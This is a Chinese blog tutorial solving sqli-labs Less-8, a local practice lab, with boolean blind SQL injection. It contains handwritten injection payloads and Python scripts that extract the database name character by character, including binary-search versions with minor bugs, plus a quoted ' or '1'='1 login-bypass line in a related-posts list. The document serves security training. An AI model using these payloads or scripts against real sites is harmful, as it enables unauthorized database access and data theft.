sqli-labs 第八关 多命通关攻略（Python3 自动化实现布尔盲注）

已于 2023-01-13 10:52:41 修改
阅读量743 收藏 4
点赞数 3
分类专栏： 安全 数据库 Python 文章标签： 自动化 二分查找 布尔盲注 SQL 注入 MySQL
于 2023-01-09 22:03:11 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44879989/article/details/128582174
版权
Python 同时被 3 个专栏收录
44 篇文章 4 订阅
订阅专栏
安全
29 篇文章 6 订阅
订阅专栏
数据库
14 篇文章 0 订阅
订阅专栏

sqli-labs 第八关 多命通关攻略（Python3 自动化实现布尔盲注）

描述

项目描述
操作系统Windows 10 专业版
MySQL 版本MySQL 5.7.40
Apache 版本Apache 2.2.39

判断注入类型

正常输入

观察 Users 表的数据，可知 id 的正常输入的范围应为 1~13、14。

id 的正常输入范围

构造如下语句，观察页面返回的内容：

?id=1

返回结果为：

You are in…

不正常输入

构造如下语句，观察返回结果

?id=1000

显示为空

可以看到，使用上述语句后，页面回显区域没有显示任何内容。

错误输入

?id='

?id="

在使用上面构造的两种语句进行注入后，页面的显示都为：

显示为空

这说明第八关并不会显示错误信息，那么我们需要通过另外一种方法来判断注入方式了。
构造如下语句：

?id=1" and 1=2--+

返回结果：

You are in…

构造如下语句再次进行尝试：

?id=1' and 1=2--+

返回结果：

显示为空
页面回显区域没有显示任何内容说明逻辑与运算被成功执行了，由于 1 不可能会等于 2，所以逻辑与的运算结果为 false，这也就导致 SQL 查询结果返回结果为空，于是就有了上述结果。

爆破方式的可行性

  1. 报错注入
    由于该关卡并不会显示任何错误信息，所以无法通过报错注入来对数据库进行爆破。
  2. 布尔注入及时间注入
    该关卡可通过布尔注入及时间盲注来攻破，但由于布尔盲注相对于时间盲注更为便捷，所以本关将使用布尔盲注来对数据库进行爆破。

铺垫

函数 IF()

IF(condition, value_if_true, value_if_false)

参数描述
condition表达式
value_if_true在表达式为 true 时，执行并返回该参数。
value_if_false在表达式为 false 时，执行并返回该参数.。

如果你为 IF() 函数提供的第一个参数不为一个布尔表达式（表达式返回结果为布尔值的表达式）为一个字符串，那么 IF() 函数会先将该字符串转换为数值后再进行判断需要执行并返回哪一个参数（表达式）。

例如：
字符对应的布尔值
IF() 函数的第一个参数发生了由字符串转换的过程，具体的转换方式如下：

字符串 ‘a’ 将被转换为数值 0；
字符串 ‘1a’ 将被转换为数值 1；
字符串 ‘1a0’ 将被转换为数值 1；

在转换过程中，MySQL 将对字符串的每一个字符从左往右进行扫描，一旦遇到非数字的字符将停止继续扫描（如果字符串的第一个字符为非数字字符，则将该字符串转换为数值的结果为 0），并将此前扫描到的结果作为转换数值的结果进行返回。

关于 MySQL 数据类型之间转换的小小礼物（仅部分）

  1. 除 0 以外的其他数值转换为布尔值的结果都将为 true，这其中的 其他数值 也包括负数。

负数转换为布尔值
2. 许多其他类型的值都可以转换为布尔值，至于转换为 true 还是转换为 false 需要各位多多积累，但这其中还是有一些规律可寻的。比如空字符串 ‘’ 将被转换为 false（许多代表 ”无“ 的数据都将被转换为布尔值的结果为 false，比如 0 和 ‘’)。

空字符串转换为布尔值

  1. 布尔类型的数据 true 及 false 在转换为数值时将分别被转换为数值 1 和 0。证明如下：

证明

函数 ASCII()

ASCII 表（可显示字符）

ASCII
图片来源于 菜鸟教程

在 MySQL 中可以通过使用 ASCII() 函数实现由 ASCII 字符到 ASCII 码的转换。

我们以将字符 s 转换为 ASCII 码为例直观感受一下它的功能：

将字符 s 转换为 ascii 码

布尔盲注

sqli-labs 默认使用的数据库是 security，想必各位都十分清楚吧。让我们构造语句来判断数据库名称的第一个字符是否为 s：

?id=1' and if(ascii(substr(database(), 1, 1))=115, 1, 0)--+

返回结果：

You are in…

为了验证构造的语句是否存在问题，我们更改上述语句来对其进行验证：

?id=1' and if(ascii(substr(database(), 1, 1))=1150, 1, 0)--+

返回结果：

显示为空

由于我们将 115 更换为 1150，由于 ASCII 码不存在 1150，所以两者必不相等，即表达式的结果必定为 false，因此回显区域没有显示任何内容，这也表明我们先前构造的语句是正确的。

优化

自动 VS 手动

使用布尔注入来对数据库进行爆破有一个问题需要解决：
ASCII 码表中的可视字符有 95 个，如果被判断的目标字符串包含 3个字符，那我们的工作量最多可以达到 285 次，如果手工去一个一个进行试探，不得弄到猴年马月。
我们可以通过编写 Python 脚本来实现自动化的布尔注入来提高效率，减少痛苦。毕竟，人生苦短，我用Python 嘛。

二分查找在布尔注入中的运用

对于前面讲到的通过布尔注入来判断数据库名称的第一个字符是否为 s 的例子，我们除了可以用如下语句解决：

?id=1' and if(ascii(substr(database(), 1, 1))=115, 1, 0)--+

还可以通过构造如下语句实现：

?id=1' and if(substr(database(), 1, 1)='s', 1, 0)--+

虽然两种方式都可以对该问题进行求解，但在下更推荐各位使用第一种方案，因为使用哦第一种方案（使用函数 ASCII()）可以便于我们后续通过二分查找减少为实现布尔注入所需要发送的 GET 请求，这不但能减少我们等待布尔注入爆破成功所需要花费的时间，在现实应用中还能防止由于向网站发送过多的请求而导致 IP 被封，导致一段时间内无法访问该网站。

如果各位对 二分查找的原理及其 Python 实现，欢迎观看我的另一篇博客，当然这还只是个影子，原谅我的懒惰。

布尔盲注的 Python 实现

我们将使用 Python 来对数据库的库名进行自动化布尔盲注，对数据库的各种数据的爆破都可以通过这部分代码来实现自动化布尔盲注，但需要稍微修改 GET 参数 id 对应的值。

爆破数据库名称的长度

import requests


def ruler():
    i = 1
    result = ''
    flag = True
    while flag:
        flag = False
        for j in range(10):
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)={j}, 1, 0)--+")
            if 'You are in...........' in response.text:
                result += str(j)
                flag = True
                break
        i += 1
        print(result)        


ruler()

注：

  1. request 函数的第一个参数用于指定请求方式，第二个参数用于指定请求的网页链接，该函数将返回一个响应对象，该对象拥有一个 text 属性，该属性包含了请求页面的源代码。
  2. 当 You are in… 出现在服务器响应的源代码时，我们就可以认为逻辑与表达式成立（结果为 True）。此时我们将拼接正确的数值 j 到字符串 result 中。
  3. 该函数将对数据库的库名的长度进行爆破（采用的方式是布尔注入），为了获取到完整的长度值，我们使用了 flag 变量。若 for 循环执行过程中没有进入 if 语句，则说明完整的长度值已经被获取，由于没有进入 if 语句，flag 的值没有转换为 True，这将导致 While 循环的中止。

让我们来看看该函数的执行结果，里面包含了小小惊喜：

8
80
800
8000
80000
800000
8000000
80000000
800000000
8000000000
80000000000
800000000000
8000000000000
80000000000000
800000000000000
8000000000000000
…
…
…

没错，这个函数将以这种状态执行下去。

substr() 函数截取 n 个不存在的字符，它的结果都将为 0

我们构造的 ruler 函数不存在错误，但却发生了死循环现象。问题很可能就出在我们构造的注入语句中，我们知道我们需要爆破的数据库名叫做 security，共有 8 个字符。打印结果中，8 的后面都为 0，这说明在 MySQL 中，截取一个不存在的字符得到的结果都为 0。

让我们来进行一个实验来对此进行验证：

验证

如果截取多个不存在的字符，结果也是这样吗？

结果
看来是这样子的。于是我们可以得出结论：

substr() 函数截取 n 个不存在的字符，它的结果都将为 0 。

爆破数据库名称的长度的另一种实现

通过布尔盲注对数据库名称的长度的值并不好计算，原因是 0 的泛滥，我们难以判断这些 0 就是我们要获得的值还是因为截取了 n 个不存在的字符而产生的 0.

为了解决这个问题，我们可以再对数据库名称的长度的位数进行判断。一位数通过使用布尔盲注来进行获取相对更为简单（不用担心泛滥的 0），我们先对数据库的名称的长度位数进行判断，相信数据库名称的长度的位数是不可能超过 9 位的。

代码实现
import requests


def decide():
    for i in range(10):
        response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)={i}, 1, 0)--+")
        if 'You are in...........' in response.text:
            return i   


def ruler(size):
    result = ''
    for i in range(1, size + 1):
        for j in range(10):
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)={j}, 1, 0)--+")
            if 'You are in...........' in response.text:
                result += str(j)
                break
    return int(result)
        

size = decide()
length = ruler(size)
print(length)

注：

  1. 我们使用 decide() 函数对数据库名称的长度的位数进行判断，而 ruler() 函数则使用 decide() 函数的返回值来获取数据库的名称的长度。

爆破数据库的名称

import requests


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(database(), {i}, 1)={chr(j)}, 1, 0)--+")
            if 'You are in...........' in response.text:
                result += chr(j)
                print(result)
    return result


process(8)

注：

  1. process() 函数中使用了一个 Python 内置函数 chr()，该函数可以将数值（0~127）转换为对应的 ASCII 字符。

返回结果：

0
00
000
0000
00000
000000
0000000
00000000

再遇零

数据库名称的八个字符似乎都与 0 划伤了等号，让我们来验证一下：

正常情况

字符串与数值比较

可以看到字符 s 既与字符 s 相等，还与 0 相等。
其实，字符串（首字符为非数值字符）与数值相比较时，字符串都将转换为数值，由于字符转换为数值都为 0 字符串（包括单个非数值字符）都将与 0 相等。

优化

我们不能使用数值 0 去与字符进行比较，因此我们不能在比较时使用 chr() 函数，而应该在构造语句中使用 ascii() 。先使用 ascii() 函数将需要比较的字符转换为 ascii 码，再使用数值去与 ascii 码值进行比较，这样就避免了使用字符与数值进行比较。

优化后的代码如下：

import requests


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, 1, 0)--+")
            if 'You are in...........' in response.text:
                result += chr(j)
                print(result)
    return result


process(8)

返回结果：

s
se
sec
secu
secur
securi
securit
security

代码总汇

import requests


def decide():
    for i in range(10):
        response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)={i}, 1, 0)--+")
        if 'You are in...........' in response.text:
            return i   


def ruler(size):
    result = ''
    for i in range(1, size + 1):
        for j in range(10):
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)={j}, 1, 0)--+")
            if 'You are in...........' in response.text:
                result += str(j)
    return int(result)


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, 1, 0)--+")
            if 'You are in...........' in response.text:
                result += chr(j)
                print(result)
    return result


if __name__ == '__main__':
    size = decide()
    length = ruler(size)
    result = process(length)

布尔盲注的 Python 实现（二分查找）

本 Python 实现由于比上一个实现多使用了二分查找算法，其他思路并没有改变，因此我们仅解释部分代码，二分查找算法的讲解请自行查找或等待我的博客，但可能遥遥无期。

函数改造计划

decide()
def decide():
    left = 0
    right = 9
    while left <= right:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            return middle
  1. 此处的 while 语句使用一个语句来对循环进行限制，left <= right，是为了不使左指针（此处的指针并不与 C 语言中的指针同义词）大于右指针（left 变量为左指针，right 变量为右指针），当左指针大于右指针时，说明并不能找到指定的值，所以我们需要中止循环。
ruler()
def ruler(size):
    left = 0
    right = 9
    i = 1
    length = ''
    while left <= right and i <= size:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            i += 1
            length += str(middle)  
            left = 0
            right = 126
    return int(length)

注：

  1. left 与 right 两个变量在布尔盲注成功后都需要进行初始化，否则在判断到第一个字符后，程序将退出 while 循环，很可能仅能对第一个字符成功进行布尔盲注。因为当布尔盲注成功后，left = right，此时程序继续执行就很容易因为限制条件 left <= right 而推出 while 循环。
process
def process(length):
    left = 32
    right = 126
    i = 1
    result = ''
    while left <= right and i <= length:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            i += 1
            result += str(chr(middle))
            left = 0
            right = 126
            print(result)
    return result

代码总汇

import requests


def decide():
    left = 0
    right = 9
    while left <= right:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            return middle
        

def ruler(size):
    left = 0
    right = 9
    i = 1
    length = ''
    while left <= right and i <= size:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            i += 1
            length += str(middle)  
            left = 0
            right = 126
    return int(length)


def process(length):
    left = 32
    right = 126
    i = 1
    result = ''
    while left <= right and i <= length:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            i += 1
            result += str(chr(middle))
            left = 0
            right = 126
            print(result)
    return result
        

if __name__ == '__main__':
    size = decide()
    length = ruler(size)
    result = process(length)

在使用了这两种对布尔盲注的实现后，相信各位都感觉到了采用了二分查找算法的 Python 实现相比于普通的 Python 实现速度有很大的提升吧，这种执行速度上的差异会随着被判断字符串的长度而变得更为明显。

BinaryMoon
关注
专栏目录
sqli-labs第八关（布尔盲注）
qq_42266432的博客
08-19 1445
第八关看标题可知此关可以使用布尔盲注，布尔盲注我的理解是页面不会回显错误，但是注入等式或不等式时通过页面的反应能判断出注入中算式的true或false 布尔盲注的步骤如下： 获取数据库长度 获取数据库名 获取数据库表 获取表中字段 获取表中数据 先拿获取数据库长度举例 可以看到在length(database())>7时页面正常，length(database())>8时页面异常，即8>7=true,8>8=false，所以数据库名长度为8 再比如获取表名： 同理，sub
Sqli-labs靶场第8关详解[Sqli-labs-less-8]
m0_73615178的博客
02-24 1137
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()sql注入——布尔型盲注（Boolean-based blind）
sqli-labs第8关（布尔盲注）
weixin_45626840的博客
04-25 1444
概念： 布尔盲注：页面回显信息只有“真”与“假”两种状态，通过将猜测的值与ASCII码比较返回真假值进验证。 步骤： 1.求闭合字符 2.求当前数据库名的长度 3.求当前数据库名的ASCII值 4.求表的数量 5.求表名的长度 6.求表名对应的ASCII值 7.求列的数量 8.求列名的长度 9求列名对应的ASCII值 10.求字段数量 11.求字段长度 12.求字段对应ASCII值 思路： 1、判断注入点： 2、求库名长度------id=1’ and length(database())=8 --+
sqli-labs靶场：1-16
最新发布
2401_83167745的博客
07-29 1403
首先搭建好sqli-labs靶场，我这里搭建在了本地上（使用phpstudy）
sqli-labs 第8关
rp114514的博客
07-03 327
这次实训课，我们挑战了sqli-labs第8关。在这一关中，通过SQL注入技术获取数据库的相关信息。这是一场激动人心的探索之旅，我尝试判断是否存在SQL注入，探测注入点，并最终猜解数据库名称。判断是否存在注入，探测注入点，域名后面加上吗，d 1=2，发现页面没有变化加上—qweId=1，网页有变化，说明存在sql注入添加order by，网页正常尝试order by4，发现网页有变化猜解库名长度，输入?id=1' and (length(database()))=8 – qwe，页面返回正常。
sqli-labs第八关-布尔注入
weixin_51706044的博客
03-30 4629
文章目录布尔注入一、第八关爆数据库名判断长度爆破数据库名二、使用步骤总结 布尔注入 如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入. 通过插入一些语句查看结果来判断是否存在布尔注入. 布尔注入的几个常用函数 函数使用： length(select database())>5 #length()里可以放查询语句,用来判断查询结果的长度 exists( ) #exists()里可以放查询语句,用来判断查询结果是否存在 ascii( ) #ascii()里可以放查询.
sqli-labs关卡8(基于get提交的单引号闭合的布尔盲注)通关思路
zyh1588的博客
10-29 637
小白对sqli-labs靶场第八关布尔盲注的理解
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1401
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 1829
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
Sqli-labs靶场第12关详解[Sqli-labs-less-12]
m0_73615178的博客
03-02 709
所以，payload分析输入一个username值然后使用单引号加小括号 ") 闭合前面的语句，然后为了使where语句条件成立，加上一个or 1=1 ，-- 注释语句使后面的语句直接注释password不用判断。由于这题是post请求，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。根据题目看，像一个登录页面，尝试使用布尔型盲注测试能否登录网站。输入：-admin") union select 1,2--爆出当前数据库名称及当前用户名。
​Sqli-labs靶场第7关详解[Sqli-labs-less-7]
m0_73615178的博客
02-22 2023
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()
【sqli-labs 第八关 较详细通关解释】
m0_71635484的博客
02-17 907
sqli-labs第八关详解
SQLi第八关，Sqli-labs Less-8，sqlibals less8
m0_61408947的博客
04-12 794
如果你也是看准了Python，想自学Python，在这里为大家准备了丰厚的免费。
sqli-labs：第八关
J_linnb的博客
05-02 817
使用二分法查找，小于110时不存在，小于120时存在，然后依次查找当猜到115时正常。由于得知数据库结果，根据前几关可得知，第四个表是我们想要的，猜解第四个表长度。依次猜解第二个、三个...到第八个字母，最终为'security'猜测是关闭了报错，根据正确和错误的回显不同，可以使用布尔盲注。根据之前二分法，得知表名为第一个值为117对应的为'u'猜解到8时正常显示，判断数据库名长度为8。猜解到5正常回显，因此第四个表长度为5。等于115时正常，第一个字母为's'以此类推，最后表名为'users'
sqli-labs靶场第八关
gou1791241251的博客
12-26 1705
开始第八关，传入id参数看看吧！ 第一步：判断注入类型 传入单引号的时候页面显示异常了，说明闭合方式是含有单引号的！ 通过使用and 1=1 和and 1=2的状态来判断是否是单引号闭合吧 显然此时是单引号闭合，有布尔类型状态。使用布尔盲注 第二步：判断有多少个字段，使用order by 一共有三个字段 以下便是通过布尔盲注来获取数据库信息的操作了，可以参考sqli-labs第六关 ...
SQL-labs-Burp(第八关)
weixin_51706044的博客
04-03 2065
文章目录前言一、数据库长度二、数据库名三、爆表名总结 前言 在上篇文章中我们进行sqli-labs第八关时选择的是手注，可见过程是多么繁琐，因此在本文将会演示如何使用Burp作为辅助工具进行爆破 一、数据库长度 注入语句，进行爆破判断 ?id=1' and length(database())=8 --+ 抓包 进行爆破 处理数据 设置payload 进行攻击 判断出数据库的长度为：8 二、数据库名 代码块：?id=1' and ascii(substr(database(),1,1))=1
sqli labs 第八关
qq_67757718的博客
02-17 226
第八关过程及语法命令
sqli-labs 8
qq_55777983的博客
07-29 333
less-8 这一节做的是真的累 对萌新来说上手挺麻烦的，倒不是难，确实是麻烦 首先当然是考虑闭合的问题 居然没有报错 说明我们这题已经无法使用报错注入 因为无法查看报错信息 所以这题要使用布尔型盲注 ?id=1’ --+ 发现正常回显 ?id=1” --+ 依旧正常回显 ?id=1） --+ 仍正常回显 ?id=1‘ and 1=1 --+ 正常回显 ?id=1’ and 1=2 --+ 无回显 ?id=1" and 1=2 --+ 正常回显 ?id=1) and 1=2 --+ 正常回显 所以应
sqli-labs（8）
jimggg的博客
03-19 138
和第7题一样，将id=1’))换成id=1’即可
sqli-labs第八关
07-23
对于sqli-labs的第八关，你可以尝试使用SQL注入来绕过登录验证。以下是一种可能的解决方案： 1. 在登录表单的用户名字段中输入 `' or '1'='1`，并在密码字段中输入任意值。 2. 提交表单后，应该会成功绕过登录验证并获得访问权限。 请注意，这只是一种解决方案，具体的步骤可能因sqli-labs的不同版本而有所不同。在尝试任何实验室之前，请确保已经了解并遵守所有适用的法律和道德规范。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

BinaryMoon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值